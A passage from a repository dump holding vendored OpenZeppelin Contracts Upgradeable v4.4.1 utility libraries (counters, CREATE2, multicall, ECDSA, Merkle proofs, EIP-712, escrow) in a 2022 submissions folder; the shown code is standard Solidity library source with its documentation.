} else {
return low;
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/ContextUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
__Context_init_unchained();
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/CountersUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library CountersUpgradeable {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/Create2Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Create2.sol)
pragma solidity ^0.8.0;
/**
* @dev Helper to make usage of the `CREATE2` EVM opcode easier and safer.
* `CREATE2` can be used to compute in advance the address where a smart
* contract will be deployed, which allows for interesting new mechanisms known
* as 'counterfactual interactions'.
*
* See the https://eips.ethereum.org/EIPS/eip-1014#motivation[EIP] for more
* information.
*/
library Create2Upgradeable {
/**
* @dev Deploys a contract using `CREATE2`. The address where the contract
* will be deployed can be known in advance via {computeAddress}.
*
* The bytecode for a contract can be obtained from Solidity with
* `type(contractName).creationCode`.
*
* Requirements:
*
* - `bytecode` must not be empty.
* - `salt` must have not been used for `bytecode` already.
* - the factory must have a balance of at least `amount`.
* - if `amount` is non-zero, `bytecode` must have a `payable` constructor.
*/
function deploy(
uint256 amount,
bytes32 salt,
bytes memory bytecode
) internal returns (address) {
address addr;
require(address(this).balance >= amount, "Create2: insufficient balance");
require(bytecode.length != 0, "Create2: bytecode length is zero");
assembly {
addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt)
}
require(addr != address(0), "Create2: Failed on deploy");
return addr;
}
/**
* @dev Returns the address where a contract will be stored if deployed via {deploy}. Any change in the
* `bytecodeHash` or `salt` will result in a new destination address.
*/
function computeAddress(bytes32 salt, bytes32 bytecodeHash) internal view returns (address) {
return computeAddress(salt, bytecodeHash, address(this));
}
/**
* @dev Returns the address where a contract will be stored if deployed via {deploy} from a contract located at
* `deployer`. If `deployer` is this contract's address, returns the same value as {computeAddress}.
*/
function computeAddress(
bytes32 salt,
bytes32 bytecodeHash,
address deployer
) internal pure returns (address) {
bytes32 _data = keccak256(abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash));
return address(uint160(uint256(_data)));
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/MulticallUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Multicall.sol)
pragma solidity ^0.8.0;
import "./AddressUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides a function to batch together multiple calls in a single external call.
*
* _Available since v4.1._
*/
abstract contract MulticallUpgradeable is Initializable {
function __Multicall_init() internal onlyInitializing {
__Multicall_init_unchained();
}
function __Multicall_init_unchained() internal onlyInitializing {
}
/**
* @dev Receives and executes a batch of function calls on this contract.
*/
function multicall(bytes[] calldata data) external returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
results[i] = _functionDelegateCall(address(this), data[i]);
}
return results;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/README.adoc
================================================
= Utilities
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/utils
Miscellaneous contracts and libraries containing utility functions you can use to improve security, work with new data types, or safely use low-level primitives.
The {Address}, {Arrays} and {Strings} libraries provide more operations related to these native data types, while {SafeCast} adds ways to safely convert between the different signed and unsigned numeric types.
{Multicall} provides a function to batch together multiple calls in a single external call.
For new data types:
* {Counters}: a simple way to get a counter that can only be incremented, decremented or reset. Very useful for ID generation, counting contract activity, among others.
* {EnumerableMap}: like Solidity's https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] type, but with key-value _enumeration_: this will let you know how many entries a mapping has, and iterate over them (which is not possible with `mapping`).
* {EnumerableSet}: like {EnumerableMap}, but for https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets]. Can be used to store privileged accounts, issued IDs, etc.
[NOTE]
====
Because Solidity does not support generic types, {EnumerableMap} and {EnumerableSet} are specialized to a limited number of key-value types.
As of v3.0, {EnumerableMap} supports `uint256 -> address` (`UintToAddressMap`), and {EnumerableSet} supports `address` and `uint256` (`AddressSet` and `UintSet`).
====
Finally, {Create2} contains all necessary utilities to safely use the https://blog.openzeppelin.com/getting-the-most-out-of-create2/[`CREATE2` EVM opcode], without having to deal with low-level assembly.
== Math
{{Math}}
{{SafeCast}}
{{SafeMath}}
{{SignedSafeMath}}
== Cryptography
{{ECDSA}}
{{SignatureChecker}}
{{MerkleProof}}
{{EIP712}}
== Escrow
{{ConditionalEscrow}}
{{Escrow}}
{{RefundEscrow}}
== Introspection
This set of interfaces and contracts deal with https://en.wikipedia.org/wiki/Type_introspection[type introspection] of contracts, that is, examining which functions can be called on them. This is usually referred to as a contract's _interface_.
Ethereum contracts have no native concept of an interface, so applications must usually simply trust they are not making an incorrect call. For trusted setups this is a non-issue, but often unknown and untrusted third-party addresses need to be interacted with. There may even not be any direct calls to them! (e.g. `ERC20` tokens may be sent to a contract that lacks a way to transfer them out of it, locking them forever). In these cases, a contract _declaring_ its interface can be very helpful in preventing errors.
There are two main ways to approach this.
* Locally, where a contract implements `IERC165` and declares an interface, and a second one queries it directly via `ERC165Checker`.
* Globally, where a global and unique registry (`IERC1820Registry`) is used to register implementers of a certain interface (`IERC1820Implementer`). It is then the registry that is queried, which allows for more complex setups, like contracts implementing interfaces for externally-owned accounts.
Note that, in all cases, accounts simply _declare_ their interfaces, but they are not required to actually implement them. This mechanism can therefore be used to both prevent errors and allow for complex interactions (see `ERC777`), but it must not be relied on for security.
{{IERC165}}
{{ERC165}}
{{ERC165Storage}}
{{ERC165Checker}}
{{IERC1820Registry}}
{{IERC1820Implementer}}
{{ERC1820Implementer}}
== Data Structures
{{BitMaps}}
{{EnumerableMap}}
{{EnumerableSet}}
== Libraries
{{Create2}}
{{Address}}
{{Arrays}}
{{Counters}}
{{Strings}}
{{StorageSlot}}
{{Multicall}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlotUpgradeable {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/StringsUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/TimersUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Timers.sol)
pragma solidity ^0.8.0;
/**
* @dev Tooling for timepoints, timers and delays
*/
library TimersUpgradeable {
struct Timestamp {
uint64 _deadline;
}
function getDeadline(Timestamp memory timer) internal pure returns (uint64) {
return timer._deadline;
}
function setDeadline(Timestamp storage timer, uint64 timestamp) internal {
timer._deadline = timestamp;
}
function reset(Timestamp storage timer) internal {
timer._deadline = 0;
}
function isUnset(Timestamp memory timer) internal pure returns (bool) {
return timer._deadline == 0;
}
function isStarted(Timestamp memory timer) internal pure returns (bool) {
return timer._deadline > 0;
}
function isPending(Timestamp memory timer) internal view returns (bool) {
return timer._deadline > block.timestamp;
}
function isExpired(Timestamp memory timer) internal view returns (bool) {
return isStarted(timer) && timer._deadline <= block.timestamp;
}
struct BlockNumber {
uint64 _deadline;
}
function getDeadline(BlockNumber memory timer) internal pure returns (uint64) {
return timer._deadline;
}
function setDeadline(BlockNumber storage timer, uint64 timestamp) internal {
timer._deadline = timestamp;
}
function reset(BlockNumber storage timer) internal {
timer._deadline = 0;
}
function isUnset(BlockNumber memory timer) internal pure returns (bool) {
return timer._deadline == 0;
}
function isStarted(BlockNumber memory timer) internal pure returns (bool) {
return timer._deadline > 0;
}
function isPending(BlockNumber memory timer) internal view returns (bool) {
return timer._deadline > block.number;
}
function isExpired(BlockNumber memory timer) internal view returns (bool) {
return isStarted(timer) && timer._deadline <= block.number;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/cryptography/ECDSAUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
import "../StringsUpgradeable.sol";
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSAUpgradeable {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", StringsUpgradeable.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/cryptography/MerkleProofUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProofUpgradeable {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/cryptography/SignatureCheckerUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/SignatureChecker.sol)
pragma solidity ^0.8.0;
import "./ECDSAUpgradeable.sol";
import "../AddressUpgradeable.sol";
import "../../interfaces/IERC1271Upgradeable.sol";
/**
* @dev Signature verification helper: Provide a single mechanism to verify both private-key (EOA) ECDSA signature and
* ERC1271 contract signatures. Using this instead of ECDSA.recover in your contract will make them compatible with
* smart contract wallets such as Argent and Gnosis.
*
* Note: unlike ECDSA signatures, contract signature's are revocable, and the outcome of this function can thus change
* through time. It could return true at block N and false at block N+1 (or the opposite).
*
* _Available since v4.1._
*/
library SignatureCheckerUpgradeable {
function isValidSignatureNow(
address signer,
bytes32 hash,
bytes memory signature
) internal view returns (bool) {
(address recovered, ECDSAUpgradeable.RecoverError error) = ECDSAUpgradeable.tryRecover(hash, signature);
if (error == ECDSAUpgradeable.RecoverError.NoError && recovered == signer) {
return true;
}
(bool success, bytes memory result) = signer.staticcall(
abi.encodeWithSelector(IERC1271Upgradeable.isValidSignature.selector, hash, signature)
);
return (success && result.length == 32 && abi.decode(result, (bytes4)) == IERC1271Upgradeable.isValidSignature.selector);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/cryptography/draft-EIP712Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol)
pragma solidity ^0.8.0;
import "./ECDSAUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712Upgradeable is Initializable {
/* solhint-disable var-name-mixedcase */
bytes32 private _HASHED_NAME;
bytes32 private _HASHED_VERSION;
bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
function __EIP712_init(string memory name, string memory version) internal onlyInitializing {
__EIP712_init_unchained(name, version);
}
function __EIP712_init_unchained(string memory name, string memory version) internal onlyInitializing {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash());
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSAUpgradeable.toTypedDataHash(_domainSeparatorV4(), structHash);
}
/**
* @dev The hash of the name parameter for the EIP712 domain.
*
* NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs
* are a concern.
*/
function _EIP712NameHash() internal virtual view returns (bytes32) {
return _HASHED_NAME;
}
/**
* @dev The hash of the version parameter for the EIP712 domain.
*
* NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs
* are a concern.
*/
function _EIP712VersionHash() internal virtual view returns (bytes32) {
return _HASHED_VERSION;
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/escrow/ConditionalEscrowUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/escrow/ConditionalEscrow.sol)
pragma solidity ^0.8.0;
import "./EscrowUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @title ConditionalEscrow
* @dev Base abstract escrow to only allow withdrawal if a condition is met.
* @dev Intended usage: See {Escrow}. Same usage guidelines apply here.
*/
abstract contract ConditionalEscrowUpgradeable is Initializable, EscrowUpgradeable {
function __ConditionalEscrow_init() internal onlyInitializing {
__Context_init_unchained();
__Ownable_init_unchained();
__Escrow_init_unchained();
__ConditionalEscrow_init_unchained();
}
function __ConditionalEscrow_init_unchained() internal onlyInitializing {
}
/**
* @dev Returns whether an address is allowed to withdraw their funds. To be
* implemented by derived contracts.
* @param payee The destination address of the funds.
*/
function withdrawalAllowed(address payee) public view virtual returns (bool);
function withdraw(address payable payee) public virtual override {
require(withdrawalAllowed(payee), "ConditionalEscrow: payee is not allowed to withdraw");
super.withdraw(payee);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/escrow/EscrowUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/escrow/Escrow.sol)
pragma solidity ^0.8.0;
import "../../access/OwnableUpgradeable.sol";
import "../AddressUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @title Escrow
* @dev Base escrow contract, holds funds designated for a payee until they
* withdraw them.
*
* Intended usage: This contract (and derived escrow contracts) should be a
* standalone contract, that only interacts with the contract that instantiated
* it. That way, it is guaranteed that all Ether will be handled according to
* the `Escrow` rules, and there is no need to check for payable functions or
* transfers in the inheritance tree. The contract that uses the escrow as its
* payment method should be its owner, and provide public methods redirecting
* to the escrow's deposit and withdraw.
*/
contract EscrowUpgradeable is Initializable, OwnableUpgradeable {
function initialize() public virtual initializer {
__Escrow_init();
}
function __Escrow_init() internal onlyInitializing {
__Context_init_unchained();
__Ownable_init_unchained();
__Escrow_init_unchained();
}
function __Escrow_init_unchained() internal onlyInitializing {
}
using AddressUpgradeable for address payable;
event Deposited(address indexed payee, uint256 weiAmount);
